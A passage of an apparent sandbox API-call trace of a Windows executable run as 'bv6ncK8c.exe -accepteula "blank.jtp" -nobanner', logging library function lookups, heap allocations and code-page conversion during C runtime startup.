(hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0080.114] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0080.114] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0080.114] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0080.115] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0080.115] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0080.115] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0080.115] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0080.115] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0080.116] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0080.116] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0080.116] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0080.116] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0080.116] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0080.116] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0080.116] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0080.117] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0080.117] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0080.117] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0080.117] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0080.117] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0080.125] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0080.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd3b27380, dwHighDateTime=0x1d5d06a)) [0080.125] GetCurrentThreadId () returned 0xc88 [0080.125] GetCurrentProcessId () returned 0xc84 [0080.125] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22207770908) returned 1 [0080.126] GetProcessHeap () returned 0x290000 [0080.126] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0080.126] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0080.126] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0080.126] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0080.127] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0080.128] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0080.129] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0080.129] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3bc) returned 0x2a6090 [0080.129] GetCurrentThreadId () returned 0xc88 [0080.129] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x18) returned 0x2a6458 [0080.129] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x800) returned 0x2a6478 [0080.129] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xf9c81243, hStdError=0x0)) [0080.129] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0080.129] GetFileType (hFile=0x3) returned 0x2 [0080.497] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0080.497] GetFileType (hFile=0x80) returned 0x3 [0080.497] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0080.497] GetFileType (hFile=0xb) returned 0x2 [0080.498] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner" [0080.498] GetEnvironmentStringsW () returned 0x2a6c80* [0080.498] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xb7a) returned 0x2a7808 [0080.498] FreeEnvironmentStringsW (penv=0x2a6c80) returned 1 [0080.498] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6e) returned 0x2a6c80 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xa0) returned 0x2a6cf8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3e) returned 0x2a83a8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x6c) returned 0x2a6da0 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x6e) returned 0x2a6e18 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x78) returned 0x29f8b8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x62) returned 0x2a6e90 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2a6f00 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2a6f38 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2a5a60 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x28) returned 0x2a6f88 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1a) returned 0x2a5a88 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4a) returned 0x2a6fb8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x72) returned 0x29f938 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2a7010 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2a7048 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1c) returned 0x2a5ab0 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xd2) returned 0x2a7080 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x7c) returned 0x2a7160 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x36) returned 0x2a71e8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3a) returned 0x2a83f0 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x90) returned 0x2a7228 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x24) returned 0x2a72c0 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2a72f0 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x36) returned 0x2a7328 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2a7368 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x52) returned 0x2a73b8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a8438 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x18) returned 0x2a7418 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x82) returned 0x2a7438 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2e) returned 0x2a74c8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x1e) returned 0x2a5ad8 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2c) returned 0x2a7500 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x54) returned 0x2a7538 [0080.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x52) returned 0x2a7598 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x2a) returned 0x2a75f8 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x3c) returned 0x2a8480 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x54) returned 0x2a7630 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x24) returned 0x2a7690 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x30) returned 0x2a76c0 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x8c) returned 0x2a76f8 [0080.500] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a7808 | out: hHeap=0x290000) returned 1 [0080.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x800) returned 0x2a7790 [0080.500] GetLastError () returned 0x0 [0080.500] SetLastError (dwErrCode=0x0) [0080.500] GetLastError () returned 0x0 [0080.500] SetLastError (dwErrCode=0x0) [0080.500] GetLastError () returned 0x0 [0080.501] SetLastError (dwErrCode=0x0) [0080.501] GetACP () returned 0x4e4 [0080.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x220) returned 0x2a7f98 [0080.501] GetLastError () returned 0x0 [0080.501] SetLastError (dwErrCode=0x0) [0080.501] IsValidCodePage (CodePage=0x4e4) returned 1 [0080.501] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0080.501] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0080.501] GetLastError () returned 0x0 [0080.501] SetLastError (dwErrCode=0x0) [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.501] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0080.501] GetLastError () returned 0x0 [0080.501] SetLastError (dwErrCode=0x0) [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.501] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0080.501] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0080.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÓ\x13Èùäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0080.501] GetLastError () returned 0x0 [0080.501] SetLastError (dwErrCode=0x0) [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.501] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0080.501] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0080.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 